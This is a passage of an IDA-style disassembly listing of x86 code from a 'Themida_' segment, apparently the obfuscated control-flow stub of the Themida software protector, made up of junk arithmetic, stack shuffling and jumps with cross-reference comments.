; ---------------------------------------------------------------------------
loc_557B57: ; CODE XREF: Themida_:0055455Bj
xchg edi, [esp]
pop esp
jmp loc_551F93
; ---------------------------------------------------------------------------
loc_557B60: ; CODE XREF: Themida_:00564082j
pop ebp
sub ebx, 45433405h
add ebx, ecx
add ebx, 45433405h
jmp loc_554FBE
; ---------------------------------------------------------------------------
loc_557B74: ; CODE XREF: Themida_:00558319j
add edx, 4F4C01B0h
mov edi, edx
pop edx
jmp loc_558593
; ---------------------------------------------------------------------------
loc_557B82: ; CODE XREF: Themida_:0055B6AFj
add edi, eax
jmp loc_55DA1F
; ---------------------------------------------------------------------------
loc_557B89: ; CODE XREF: Themida_:0055515Bj
mov ebp, [esp]
jmp loc_55B850
; ---------------------------------------------------------------------------
loc_557B91: ; CODE XREF: Themida_:00559280j
push edi
mov edi, 2
jmp loc_55D6CD
; ---------------------------------------------------------------------------
loc_557B9C: ; CODE XREF: Themida_:00553490j
mov eax, 4
add edi, eax
pop eax
add edi, 4
xchg edi, [esp]
pop esp
sub bl, 0FAh
jmp loc_556473
; ---------------------------------------------------------------------------
loc_557BB3: ; CODE XREF: Themida_:0055868Cj
sub esp, 4
mov [esp], eax
jmp loc_55669F
; ---------------------------------------------------------------------------
loc_557BC1: ; CODE XREF: Themida_:0055355Dj
pop edi
push edi
mov edi, 14E8083Ch
sub edi, 33171AC5h
neg edi
push ebx
mov ebx, 31CB2A5Dh
jmp loc_55EE41
; ---------------------------------------------------------------------------
loc_557BDB: ; CODE XREF: Themida_:0055E688j
add esi, 6F1A3EB0h
xor esi, 0A6A1536h
xor esi, 0FE66C701h
add eax, 3F361101h
add eax, esi
sub eax, 3F361101h
pop esi
add eax, 4
xchg eax, [esp]
pop esp
push edx
mov edx, esp
push eax
mov eax, 4
add edx, 20CC02BEh
add edx, eax
sub edx, 20CC02BEh
push dword ptr [esp]
pop eax
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_55F7C1
; ---------------------------------------------------------------------------
loc_557C2D: ; CODE XREF: Themida_:005655BFj
push dword ptr [esp]
pop ebx
jmp loc_55F8C7
; ---------------------------------------------------------------------------
loc_557C36: ; CODE XREF: Themida_:005561CBj
mov ecx, 297A170Ch
add ebx, ecx
jmp loc_563E16
; ---------------------------------------------------------------------------
loc_557C42: ; CODE XREF: Themida_:00559A3Fj
mov cl, 53h
inc cl
push edx
push ebx
jmp loc_55860E
; ---------------------------------------------------------------------------
loc_557C4D: ; CODE XREF: Themida_:0055F5A6j
add ebx, edi
jmp loc_563DEA
; ---------------------------------------------------------------------------
loc_557C54: ; CODE XREF: Themida_:00564E7Aj
push edi
push ebx
push 5F7255A7h
pop ebx
push edx
mov edx, 43E71E65h
xor edx, 382607FAh
and edx, 4F140BBEh
jmp loc_55C208
; ---------------------------------------------------------------------------
loc_557C73: ; CODE XREF: Themida_:00551761j
mov [esp], esi
mov esi, 300F745Ah
jmp loc_556689
; ---------------------------------------------------------------------------
loc_557C80: ; CODE XREF: Themida_:00565CB1j
sub ecx, edi
pop edi
pop eax
add ecx, eax
jmp loc_55EE1B
; ---------------------------------------------------------------------------
loc_557C8B: ; CODE XREF: Themida_:00565008j
mov edi, 524E20F4h
and edi, 280B012Fh
dec edi
add edi, 869FF9F1h
add ebp, edi
mov edi, [esp]
add esp, 4
mov esi, ebp
pop ebp
add esi, 8E34EB10h
add ebx, esi
push dword ptr [esp]
pop esi
add esp, 4
push ebp
mov ebp, 4
add ebx, ebp
jmp loc_55676D
; ---------------------------------------------------------------------------
loc_557CC7: ; CODE XREF: Themida_:00560A13j
pop ecx
jmp loc_56477B
; ---------------------------------------------------------------------------
loc_557CCD: ; CODE XREF: Themida_:00559430j
mov esp, [esp]
div ecx
push 473Bh
mov [esp], edx
push eax
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_557CE1: ; CODE XREF: Themida_:00565788j
pop ebx
pop ecx
push ebp
push eax
mov eax, esp
jmp loc_560FEB
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push ebx
jmp loc_55CD91
; ---------------------------------------------------------------------------
loc_557CF6: ; CODE XREF: Themida_:0055671Bj
sub edi, 67FC547Fh
jmp loc_5574CB
; ---------------------------------------------------------------------------
loc_557D01: ; CODE XREF: Themida_:00563587j
xchg edi, [esp]
pop esp
mov [esp], ecx
jmp loc_5644C2
; ---------------------------------------------------------------------------
loc_557D0D: ; CODE XREF: Themida_:0055E02Aj
push esp
push dword ptr [esp]
pop ebx
jmp loc_565279
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_556BF0
; ---------------------------------------------------------------------------
loc_557D20: ; CODE XREF: Themida_:0055D2A1j
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
or eax, eax
jz loc_5646DB
push dword ptr [edi+1Ch]
mov ecx, [esp]
push 525Eh
jmp loc_5585AB
; ---------------------------------------------------------------------------
loc_557D41: ; CODE XREF: Themida_:0055850Fj
neg bh
push eax
mov ah, 2Fh
and ah, 7Bh
and ah, 91h
neg ah
push ebx
mov bl, 49h
add bl, 0B8h
sub ah, bl
pop ebx
dec ah
xor ah, 50h
sub bh, ah
mov eax, [esp]
add esp, 4
jmp loc_5575EE
; ---------------------------------------------------------------------------
loc_557D6C: ; CODE XREF: Themida_:00561A4Fj
mov edx, eax
pop eax
pop ecx
add edi, 6C644B74h
sub edi, edx
push ecx
jmp loc_555EB3
; ---------------------------------------------------------------------------
loc_557D7E: ; CODE XREF: Themida_:005635A8j
add ebx, 2F5E63F5h
add ebx, 6A2EF4Ch
jmp loc_55433D
; ---------------------------------------------------------------------------
loc_557D8F: ; CODE XREF: Themida_:0055C4BAj
mov ebp, 3AB04226h
mov esi, 48EB426Eh
sub esi, 66B7164h
add esi, 8AB65A7h
sub esi, ebp
jmp loc_554CBA
; ---------------------------------------------------------------------------
loc_557DAC: ; CODE XREF: Themida_:0055803Ej
mov [esp], ebp
mov ebp, 2B0257E6h
shl ebp, 7
jmp loc_55AB80
; ---------------------------------------------------------------------------
loc_557DBC: ; CODE XREF: Themida_:0056516Aj
add ebx, 4
push edx
mov edx, 3C046F1Bh
jmp loc_55EB1C
; ---------------------------------------------------------------------------
loc_557DCD: ; CODE XREF: Themida_:00560396j
add ebx, ecx
push ecx
mov ecx, 7EFC7343h
sub ebx, ecx
pop ecx
jmp loc_56582D
; ---------------------------------------------------------------------------
loc_557DDD: ; CODE XREF: Themida_:00552306j
add ax, 6594h
mov bx, [esp]
push 72CEh
mov [esp], ebp
mov ebp, esp
add ebp, 4
jmp loc_5658C1
; ---------------------------------------------------------------------------
loc_557DFA: ; CODE XREF: Themida_:00552123j
mov eax, [esp]
add esp, 4
neg cx
xchg bp, cx
not bp
xchg bp, cx
not cx
push bx
mov bx, 5BAFh
xor cx, bx
jmp loc_553403
; ---------------------------------------------------------------------------
loc_557E20: ; CODE XREF: Themida_:0055B85Cj
xchg ebx, [esp]
pop esp
shr edx, 2
push ecx
mov ecx, 14D86B32h
or ecx, 64B0266h
shl ecx, 8
push edi
mov edi, 35EB1B41h
push ebx
mov ebx, 0AB63CED6h
sub edi, ebx
pop ebx
jmp loc_561325
; ---------------------------------------------------------------------------
loc_557E4A: ; CODE XREF: Themida_:0055E01Dj
push 5E0Fh
jmp loc_5595C8
; ---------------------------------------------------------------------------
loc_557E54: ; CODE XREF: Themida_:0055AD00j
add ebp, 9043658h
sub ebp, edi
sub ebp, 9043658h
pop edi
push ebx
mov ebx, 0
jmp loc_551AA8
; ---------------------------------------------------------------------------
mov cx, [esp]
push 0F4Fh
mov [esp], edx
jmp loc_55440D
; ---------------------------------------------------------------------------
loc_557E7F: ; CODE XREF: Themida_:00562B81j
push ecx
pop eax
jmp loc_5611A2
; ---------------------------------------------------------------------------
loc_557E86: ; CODE XREF: Themida_:00558F46j
sub ebp, 1410E5Ah
jmp loc_55B76B
; ---------------------------------------------------------------------------
loc_557E91: ; CODE XREF: Themida_:0055FA8Dj
or ecx, 514248C8h
push eax
mov eax, 0CFABE8ACh
sub ecx, eax
pop eax
mov ebx, ecx
pop ecx
sub eax, 7F57843h
jmp loc_554AC4
; ---------------------------------------------------------------------------
loc_557EAD: ; CODE XREF: Themida_:005631F8j
pop edx
and eax, ebp
pop ebp
or eax, eax
jz loc_55448D
push 19ADh
mov [esp], ebx
push 68BAh
mov [esp], ebp
push 378C5DAAh
jmp loc_5636BF
; ---------------------------------------------------------------------------
loc_557ED3: ; CODE XREF: Themida_:00562938j
pop ebx
add esp, 4
add eax, ebx
sub eax, 50F3090Fh
mov ebx, [esp]
add esp, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
jmp loc_5540A1
; ---------------------------------------------------------------------------
loc_557EF3: ; CODE XREF: Themida_:0055C2DDj
shr edx, 8
inc edx
shr edx, 1
push edi
mov edi, 6FDF3238h
jmp loc_565959
; ---------------------------------------------------------------------------
loc_557F04: ; CODE XREF: Themida_:00557A07j
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esi
push 37AA187Ch
pop esi
sub esi, 37AA1878h
jmp loc_56556F
; ---------------------------------------------------------------------------
loc_557F25: ; CODE XREF: Themida_:00560B35j
mov [esp], ecx
push 617D34A3h
push dword ptr [esp]
pop ecx
add esp, 4
push ebx
mov ebx, 48844F5Dh
and ebx, 73BF6C15h
add ebx, 97AAACB3h
add ecx, ebx
pop ebx
push 442h
mov [esp], ecx
pop esi
mov ecx, [esp]
push ebp
jmp loc_5547F9
; ---------------------------------------------------------------------------
loc_557F5E: ; CODE XREF: Themida_:005504E1j
neg esi
xchg esi, edx
jmp loc_560400
; ---------------------------------------------------------------------------
loc_557F67: ; CODE XREF: Themida_:005630F3j
shr edi, 7
push esi
mov esi, 1E3F3CECh
jmp loc_55A05D
; ---------------------------------------------------------------------------
loc_557F75: ; CODE XREF: Themida_:0055F785j
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
mov dh, 1
add cl, 83h
jmp loc_5509C5
; ---------------------------------------------------------------------------
loc_557F94: ; CODE XREF: Themida_:0055C3E8j
mov al, 0F9h
push ecx
push ebx
mov bl, al
jmp loc_556277
; ---------------------------------------------------------------------------
loc_557F9F: ; CODE XREF: Themida_:00560C4Bj
push ax
mov ah, 0Fh
xor ch, ah
pop ax
sub esp, 4
mov [esp], edx
mov dl, ch
push ecx
mov cl, dl
mov bh, cl
pop ecx
mov edx, [esp]
add esp, 4
mov ecx, [esp]
jmp loc_55BAF4
; ---------------------------------------------------------------------------
loc_557FC9: ; CODE XREF: Themida_:00552E32j
pop ebx
sub esi, ecx
pop ecx
jmp loc_55E6BF
; ---------------------------------------------------------------------------
loc_557FD2: ; CODE XREF: Themida_:00556963j
push edx
jmp loc_551892
; ---------------------------------------------------------------------------
loc_557FD8: ; CODE XREF: Themida_:00563719j
add edx, 3CCB7CE6h
pop esi
sub esp, 4
mov [esp], eax
mov eax, 4
add edx, eax
pop eax
xor edx, [esp]
xor [esp], edx
jmp loc_5648C5
; ---------------------------------------------------------------------------
loc_557FF8: ; CODE XREF: Themida_:00564EDEj
push eax
mov eax, esp
add eax, 4
add eax, 2
xchg eax, [esp]
pop esp
sub bl, 0CDh
add bl, 2Bh
jmp loc_559805
; ---------------------------------------------------------------------------
mov cx, [esp]
push 14ADh
mov [esp], ebp
push edi
push esp
pop edi
add edi, 4
push eax
jmp loc_555BF1
; ---------------------------------------------------------------------------
loc_55802F: ; CODE XREF: Themida_:00554B84j
push edx
mov edx, 59E81681h
or edx, 31467D45h
sub esp, 4
jmp loc_557DAC
; ---------------------------------------------------------------------------
loc_558043: ; CODE XREF: Themida_:0055A4B8j
not dh
not dh
jmp loc_5551A5
; ---------------------------------------------------------------------------
loc_55804C: ; CODE XREF: Themida_:00559764j
sub edx, eax
pop eax
add edx, 4C1E6558h
jmp loc_5546FA
; ---------------------------------------------------------------------------
loc_55805A: ; CODE XREF: Themida_:0055E1E1j
add ebp, 309210DEh
or ebp, 52127436h
xor ebp, 0FC986395h
mov edx, ebp
jmp loc_56385D
; ---------------------------------------------------------------------------
loc_558073: ; CODE XREF: Themida_:0056398Bj
mov cl, al
mov bh, cl
pop ecx
jmp loc_55A417
; ---------------------------------------------------------------------------
loc_55807D: ; CODE XREF: Themida_:0056450Ej
pop ebp
jmp loc_55239E
; ---------------------------------------------------------------------------
loc_558083: ; CODE XREF: Themida_:00552D2Aj
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_55EF81
; ---------------------------------------------------------------------------
loc_558097: ; CODE XREF: Themida_:005546ACj
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_5601FA
; ---------------------------------------------------------------------------
loc_5580AB: ; CODE XREF: Themida_:00552876j
push ecx
mov ch, 0B9h
xor ch, 0BDh
dec ch
sub ch, 6
jmp loc_565235
; ---------------------------------------------------------------------------
loc_5580BB: ; CODE XREF: Themida_:0055C5B0j
mov ebp, 79B912B0h
push edi
mov edi, 4BE901F3h
jmp loc_55F2B9
; ---------------------------------------------------------------------------
loc_5580CB: ; CODE XREF: Themida_:0055CDEDj
push esi
xor dword ptr [esp], 25F22A7Fh
pop eax
xor eax, 25F22A7Fh
mov esi, [esp]
add esp, 4
add eax, edi
mov edi, [esp]
sub esp, 4
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
and eax, 3A56393Ch
sub eax, 399621C0h
jmp loc_555461
; ---------------------------------------------------------------------------
mov ax, [esp]
push eax
push 319Bh
jmp loc_5513F1
; ---------------------------------------------------------------------------
loc_55811D: ; CODE XREF: Themida_:0055B358j
mov [esp], ecx
push dword ptr [esp+4]
jmp loc_55C913
; ---------------------------------------------------------------------------
loc_558129: ; CODE XREF: Themida_:00552342j
push edx
mov dl, 0B8h
jmp loc_564CD6
; ---------------------------------------------------------------------------
loc_558131: ; CODE XREF: Themida_:0055AD0Aj
push 1FC0h
mov [esp], edx
mov dh, 3Eh
sub dh, 14h
push ecx
mov ch, 29h
jmp loc_55CA28
; ---------------------------------------------------------------------------
loc_558146: ; CODE XREF: Themida_:00561806j
not edi
push edx
push esi
mov esi, 23245E2Bh
jmp loc_561CCD
; ---------------------------------------------------------------------------
loc_558154: ; CODE XREF: Themida_:00559214j
sub ebp, 0E97A3780h
sub ebx, ebp
pop ebp
add ebx, ebp
add ebx, 5A7B2E73h
jmp loc_55134D
; ---------------------------------------------------------------------------
loc_55816A: ; CODE XREF: Themida_:0055BD8Fj
xchg esi, [esp]
pop esp
jmp loc_55A757
; ---------------------------------------------------------------------------
loc_558173: ; CODE XREF: Themida_:0055D4F4j
push 4429h
mov [esp], esi
push 683A130Ah
jmp loc_556784
; ---------------------------------------------------------------------------
loc_558185: ; CODE XREF: Themida_:0055635Dj
mov edx, 15D101A2h
mov edi, 15D501A2h
sub edi, edx
mov edx, [esp]
push edi
mov edi, esp
push ecx
mov ecx, 4
sub edi, 6FA0563Ah
jmp loc_5573F3
; ---------------------------------------------------------------------------
loc_5581A8: ; CODE XREF: Themida_:00563847j
xor edi, ecx
xchg edi, [esp]
push dword ptr [esp]
pop eax
push 0C8Eh
mov [esp], ebx
jmp loc_55371A
; ---------------------------------------------------------------------------
loc_5581BE: ; CODE XREF: Themida_:005633FDj
mov edi, [esp]
add esp, 4
add edi, 4
push ebx
mov ebx, 4
add edi, ebx
pop ebx
jmp loc_557315
; ---------------------------------------------------------------------------
loc_5581DB: ; CODE XREF: Themida_:005613F5j
pop ebp
add esp, 4
push edi
mov edi, esp
jmp loc_55A16F
; ---------------------------------------------------------------------------
loc_5581EA: ; CODE XREF: Themida_:005651E7j
mov ebp, ebx
jmp loc_55EBC0
; ---------------------------------------------------------------------------
loc_5581F1: ; CODE XREF: Themida_:005566F6j
xchg ebp, [esp]
jmp loc_558E15
; ---------------------------------------------------------------------------
loc_5581F9: ; CODE XREF: Themida_:00553393j
mov cx, [esp]
add esp, 2
jmp loc_55E505
; ---------------------------------------------------------------------------
loc_558208: ; CODE XREF: Themida_:00551075j
mov ecx, 262F3F84h
sub edi, ecx
jmp loc_562882
; ---------------------------------------------------------------------------
loc_558214: ; CODE XREF: Themida_:005577D2j
mov ah, 7Bh
add ah, 0B2h
not ah
neg ah
inc ah
jmp loc_55107A
; ---------------------------------------------------------------------------
loc_558224: ; CODE XREF: Themida_:0055C0D1j
mov edx, 4
sub ebp, edx
pop edx
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
mov [esp], ebp
mov ebp, 77E2E34h
add esi, 27F572Fh
add esi, ebp
jmp loc_555200
; ---------------------------------------------------------------------------
loc_55824B: ; CODE XREF: Themida_:00550961j
sub eax, ebx
mov ebx, [esp]
add esp, 4
mov ecx, [esp]
add esp, 4
xor eax, [esp]
xor [esp], eax
jmp loc_552F69
; ---------------------------------------------------------------------------
loc_558267: ; CODE XREF: Themida_:0056132Bj
push ecx
jmp loc_556A81
; ---------------------------------------------------------------------------
loc_55826D: ; CODE XREF: Themida_:005633BAj
sub ebp, 30B64CD9h
shl ebp, 3
push edi
push edx
mov edx, 22ED79A7h
sub edx, 0B2466D6h
jmp loc_5568CA
; ---------------------------------------------------------------------------
loc_558288: ; CODE XREF: Themida_:00552029j
push esi
push eax
push 5E9000F3h
mov eax, [esp]
jmp loc_552D2F
; ---------------------------------------------------------------------------
lodsd
jmp loc_5638BF
; ---------------------------------------------------------------------------
loc_55829D: ; CODE XREF: Themida_:00554CC6j
mov ebp, [esp]
add esp, 4
xchg edi, esi
xchg ebp, edi
not ebp
xchg ebp, edi
xchg edi, esi
push 92Bh
mov [esp], ecx
push ebx
mov ebx, 267543A3h
push 7A315E9Eh
pop ecx
push eax
jmp loc_55ADDF
; ---------------------------------------------------------------------------
loc_5582C7: ; CODE XREF: Themida_:0055085Bj
or cl, 0EBh
not cl
add cl, 96h
xor dl, cl
mov ecx, [esp]
add esp, 4
add dl, 0DFh
xor cl, dl
pop edx
jmp loc_56578D
; ---------------------------------------------------------------------------
loc_5582E5: ; CODE XREF: Themida_:00556568j
jmp loc_550420
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push eax
push esp
pop eax
add eax, 4
push ebx
mov ebx, 4
push ebx
push edi
push edx
mov edx, 6C12336Ch
push 0A64h
mov [esp], edx
mov edx, 37B00EA0h
not edx
sub edx, 33B550D9h
jmp loc_557B74
; ---------------------------------------------------------------------------
loc_55831E: ; CODE XREF: Themida_:00551C05j
add esp, 4
push 6CBBh
mov [esp], edx
push eax
mov eax, 72260215h
jmp loc_551EA3
; ---------------------------------------------------------------------------
loc_558337: ; CODE XREF: Themida_:0055381Aj
sub dl, 44h
add al, 8Bh
sub al, 55h
add al, 7Bh
add al, dl
sub al, 7Bh
add al, 55h
sub al, 8Bh
mov edx, [esp]
jmp loc_554DA1
; ---------------------------------------------------------------------------
loc_558350: ; CODE XREF: Themida_:00565646j
shr edi, 5
xchg ebp, edi
not ebp
xchg ebp, edi
sub edi, 0CDAEE408h
jmp loc_554C62
; ---------------------------------------------------------------------------
loc_558364: ; CODE XREF: Themida_:00558453j
mov edi, [esp]
push eax
mov eax, esp
push ebp
mov ebp, 61E7982h
push ebx
mov ebx, 2557245Fh
xor ebp, ebx
jmp loc_55CA88
; ---------------------------------------------------------------------------
loc_55837D: ; CODE XREF: Themida_:0055FD53j
add edx, edi
mov edi, [esp]
add esp, 4
push esi
mov esi, 4
sub edx, 33F71A71h
sub edx, 24AE38A1h
jmp loc_55C5B5
; ---------------------------------------------------------------------------
loc_55839F: ; CODE XREF: Themida_:0055D102j
add esp, 4
sub esp, 4
mov [esp], eax
mov eax, 5CBC2813h
jmp loc_55D7DA
; ---------------------------------------------------------------------------
loc_5583B5: ; CODE XREF: Themida_:0055358Fj
pop esi
push esi
mov esi, 547E2DC7h
inc esi
jmp loc_564C09
; ---------------------------------------------------------------------------
loc_5583C2: ; CODE XREF: Themida_:00554487j
xor ebp, 84BDBFBEh
sub edi, ebp
pop ebp
xor edx, edi
mov edi, [esp]
add esp, 4
sub esp, 4
mov [esp], edi
push ecx
push 165D0889h
mov ecx, [esp]
add esp, 4
dec ecx
neg ecx
push edi
push ebx
push 410E5998h
pop ebx
sub ebx, 576B621Fh
jmp loc_55C8B2
; ---------------------------------------------------------------------------
loc_5583FB: ; CODE XREF: Themida_:00552E9Bj
pop esp
mov [esp], ebx
jmp loc_5619D7
; ---------------------------------------------------------------------------
loc_558404: ; CODE XREF: Themida_:0055C565j
pop ebx
push ebx
jmp loc_5515D2
; ---------------------------------------------------------------------------
loc_55840B: ; CODE XREF: Themida_:00550C53j
mov [esp], eax
push ebx
mov ebx, 0F581DE4h
mov eax, 0F581DE6h
sub eax, ebx
pop ebx
add esi, eax
push dword ptr [esp]
jmp loc_559515
; ---------------------------------------------------------------------------
loc_558426: ; CODE XREF: Themida_:00555E2Fj
add esi, 3FFD3B1Eh
jmp loc_55CDDA
; ---------------------------------------------------------------------------
loc_558431: ; CODE XREF: Themida_:0055FF30j
add cx, dx
mov edx, [esp]
add esp, 4
jmp loc_564A81
; ---------------------------------------------------------------------------
loc_558442: ; CODE XREF: Themida_:00551D0Ej
add ebx, ebp
sub ebx, 2A1C1333h
pop ebp
mov edi, ebx
pop ebx
and eax, edi
push dword ptr [esp]
jmp loc_558364
; ---------------------------------------------------------------------------
loc_558458: ; CODE XREF: Themida_:00562377j
sub edx, edi
pop edi
jmp loc_563124
; ---------------------------------------------------------------------------
loc_558460: ; CODE XREF: Themida_:00554493j
pop ecx
jmp loc_557971
; ---------------------------------------------------------------------------
loc_558466: ; CODE XREF: Themida_:0055A1E8j
not dword ptr [esp]
pop esi
jmp loc_5569EA
; ---------------------------------------------------------------------------
loc_55846F: ; CODE XREF: Themida_:005587DDj
push edi
mov edi, 4
add ebx, edi
pop edi
xchg ebx, [esp]
pop esp
jmp loc_5640E3
; ---------------------------------------------------------------------------
loc_558481: ; CODE XREF: Themida_:00552EC5j
pop esi
jmp loc_55BB44
; ---------------------------------------------------------------------------
loc_558487: ; CODE XREF: Themida_:0056286Ej
push ebp
jmp loc_5563BE
; ---------------------------------------------------------------------------
loc_55848D: ; CODE XREF: Themida_:00565513j
pop edx
jmp loc_55E25F
; ---------------------------------------------------------------------------
loc_558493: ; CODE XREF: Themida_:00564CB7j
push ebp
push ebx
mov ebx, 726F3F3Fh
neg ebx
shl ebx, 4
shl ebx, 7
sub ebx, 584131F7h
xor ebx, 320AFF90h
mov ebp, ebx
jmp loc_561C67
; ---------------------------------------------------------------------------
loc_5584B5: ; CODE XREF: Themida_:0055C45Bj
pop eax
xchg ebx, [esp]
mov esp, [esp]
push ecx
push edx
jmp loc_565AFC
; ---------------------------------------------------------------------------
loc_5584C3: ; CODE XREF: Themida_:00562B7Bj
or bl, 0A6h
xor bl, 0A6h
sub bl, 0D9h
jmp loc_560DF1
; ---------------------------------------------------------------------------
loc_5584D1: ; CODE XREF: Themida_:00558814j
mov edi, 4308092Ah
sub eax, edi
pop edi
add eax, 2FA0606h
or eax, 54532FC4h
sub eax, 4C246C3Ch
push eax
jmp loc_5521B0
; ---------------------------------------------------------------------------
loc_5584EE: ; CODE XREF: Themida_:00563C80j
mov [esp], eax
mov eax, 5D8F6E59h
xchg eax, ecx
not ecx
xchg eax, ecx
inc eax
not eax
shr eax, 6
xor eax, 8670E4Ch
jmp loc_561330
; ---------------------------------------------------------------------------
loc_55850A: ; CODE XREF: Themida_:00564872j
mov bh, 47h
or bh, 0Dh
jmp loc_557D41
; ---------------------------------------------------------------------------
loc_558514: ; CODE XREF: Themida_:00556E74j
push ebp
mov ebp, 2DC638D7h
or ebp, 2C4A628Ah
add ebp, 1FB201A3h
push ecx
mov ecx, 626E3684h
shl ecx, 2
sub ecx, 1A804888h
inc ecx
inc ecx
neg ecx
add ecx, 8D14B19Eh
add ebp, ecx
pop ecx
jmp loc_55E2F0
; ---------------------------------------------------------------------------
loc_558547: ; CODE XREF: Themida_:0055AAFBj
sub esi, 66550E66h
jmp loc_5557A2
; ---------------------------------------------------------------------------
loc_558552: ; CODE XREF: Themida_:005515CDj
add esp, 4
add esp, 4
xchg eax, [esp]
pop esp
mov [esp], esp
jmp loc_554EB4
; ---------------------------------------------------------------------------
loc_558567: ; CODE XREF: Themida_:0055C90Ej
push 5A00h
mov [esp], eax
jmp loc_555B77
; ---------------------------------------------------------------------------
loc_558574: ; CODE XREF: Themida_:0056322Cj
push 37FBh
jmp loc_5579AB
; ---------------------------------------------------------------------------
loc_55857E: ; CODE XREF: Themida_:005557F7j
add edx, eax
sub esp, 4
mov [esp], eax
mov eax, 25E963FAh
jmp loc_560111
; ---------------------------------------------------------------------------
loc_558593: ; CODE XREF: Themida_:00557B7Dj
sub edi, edx
pop edx
mov ebx, edi
jmp loc_5553EF
; ---------------------------------------------------------------------------
loc_55859D: ; CODE XREF: Themida_:00557AECj
push esi
mov esi, esp
add esi, 4
jmp loc_564F2B
; ---------------------------------------------------------------------------
loc_5585AB: ; CODE XREF: Themida_:00557D3Cj
mov [esp], ebp
mov ebp, esp
push eax
jmp loc_55B6E9
; ---------------------------------------------------------------------------
loc_5585B6: ; CODE XREF: Themida_:00551B98j
push ecx
push ebp
jmp loc_556A26
; ---------------------------------------------------------------------------
loc_5585BD: ; CODE XREF: Themida_:00554A02j
mov [esp], esi
mov esi, 4A502104h
xor ebp, esi
pop esi
add ebx, ebp
pop ebp
xchg ebx, [esp]
pop esp
dec dword ptr [esp]
pushf
jmp loc_556CEF
; ---------------------------------------------------------------------------
loc_5585D8: ; CODE XREF: Themida_:005602A0j
shr ebx, 2
add ebx, 42BD32F1h
add ebx, 5E32CCDh
xor ebx, 1A5A7124h
sub eax, ebx
pop ebx
jmp loc_5591D2
; ---------------------------------------------------------------------------
loc_5585F5: ; CODE XREF: Themida_:0055331Dj
push ecx
mov ecx, edx
mov edi, ecx
pop ecx
pop edx
mov ecx, edi
jmp loc_55CA51
; ---------------------------------------------------------------------------
loc_558603: ; CODE XREF: Themida_:00552511j
push edi
mov edi, 4
jmp loc_553217
; ---------------------------------------------------------------------------
loc_55860E: ; CODE XREF: Themida_:00557C48j
mov bl, 8Ah
not bl
jmp loc_553344
; ---------------------------------------------------------------------------
loc_558617: ; CODE XREF: Themida_:00564E1Ej
xor [esp], edi
xor edi, [esp]
pop esp
jmp loc_55667E
; ---------------------------------------------------------------------------
loc_558623: ; CODE XREF: Themida_:00558AFBj
mov edx, esp
jmp loc_55FD4D
; ---------------------------------------------------------------------------
loc_55862A: ; CODE XREF: Themida_:00552450j
push 75F13CFFh
jmp loc_555412
; ---------------------------------------------------------------------------
loc_558634: ; CODE XREF: Themida_:0055AEB6j
add ecx, edx
push ebx
mov ebx, 2F27400Dh
or ebx, 258D0023h
add ebx, 2D5C4C3Eh
jmp loc_55DE64
; ---------------------------------------------------------------------------
loc_55864D: ; CODE XREF: Themida_:00558D10j
sub edx, eax
sub edx, 21EC22ABh
mov eax, [esp]
add esp, 4
jmp loc_561FD6
; ---------------------------------------------------------------------------
loc_558663: ; CODE XREF: Themida_:0056551Cj
mov esp, [esp]
inc word ptr [esp]
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_558670: ; CODE XREF: Themida_:005507EDj
sub dh, al
pop eax
inc dh
and dh, 0CEh
shr dh, 4
push ecx
mov cl, 11h
add dh, cl
pop ecx
sub bl, 0A2h
add bl, dh
add bl, 0A2h
pop edx
add bl, al
jmp loc_557BB3
; ---------------------------------------------------------------------------
loc_558691: ; CODE XREF: Themida_:0055CAB4j
add al, bh
sub al, 0A1h
sub al, 0EBh
jmp loc_551F0B
; ---------------------------------------------------------------------------
loc_55869C: ; CODE XREF: Themida_:00551E58j
pop esp
sub edi, 4
sub esp, 4
mov [esp], edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
mov [esp], edi
push 19D31067h
mov edi, [esp]
add esp, 4
push 0D50h
jmp loc_55A99B
; ---------------------------------------------------------------------------
loc_5586CF: ; CODE XREF: Themida_:0055A3CDj
push dword ptr [esp]
pop esi
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
jmp loc_5636E0
; ---------------------------------------------------------------------------
loc_5586E8: ; CODE XREF: Themida_:005508CCj
pop esp
sub esp, 4
mov [esp], esi
push ebp
mov ebp, 72172299h
jmp loc_5513AF
; ---------------------------------------------------------------------------
loc_5586FD: ; CODE XREF: Themida_:005535A8j
push edx
mov dl, 0A8h
push ebx
mov bl, dl
sub esp, 4
mov [esp], ecx
mov ch, bl
jmp loc_557511
; ---------------------------------------------------------------------------
loc_558713: ; CODE XREF: Themida_:00559298j
mov edi, [esp]
jmp loc_564CCC
; ---------------------------------------------------------------------------
loc_55871B: ; CODE XREF: Themida_:005658D7j
push ecx
mov ecx, 4
jmp loc_553B13
; ---------------------------------------------------------------------------
loc_558726: ; CODE XREF: Themida_:00558F06j
mov edi, 3A611FC0h
add eax, edi
mov edi, [esp]
jmp loc_564C8F
; ---------------------------------------------------------------------------
loc_558735: ; CODE XREF: Themida_:0055B4B9j
or ecx, 19183768h
add ecx, 0E663C896h
sub ebp, 10C96EF0h
add ebp, ecx
add ebp, 10C96EF0h
pop ecx
sub esp, 4
mov [esp], eax
push 2B4Fh
mov [esp], edx
mov edx, 1BCA624Ch
sub esp, 4
mov [esp], ebx
mov ebx, 3F44057Eh
dec ebx
jmp loc_559051
; ---------------------------------------------------------------------------
loc_558777: ; CODE XREF: Themida_:005575D9j
mov ebp, edx
pop edx
jmp loc_564948
; ---------------------------------------------------------------------------
loc_55877F: ; CODE XREF: Themida_:00562C0Bj
push 4F47h
mov [esp], ebx
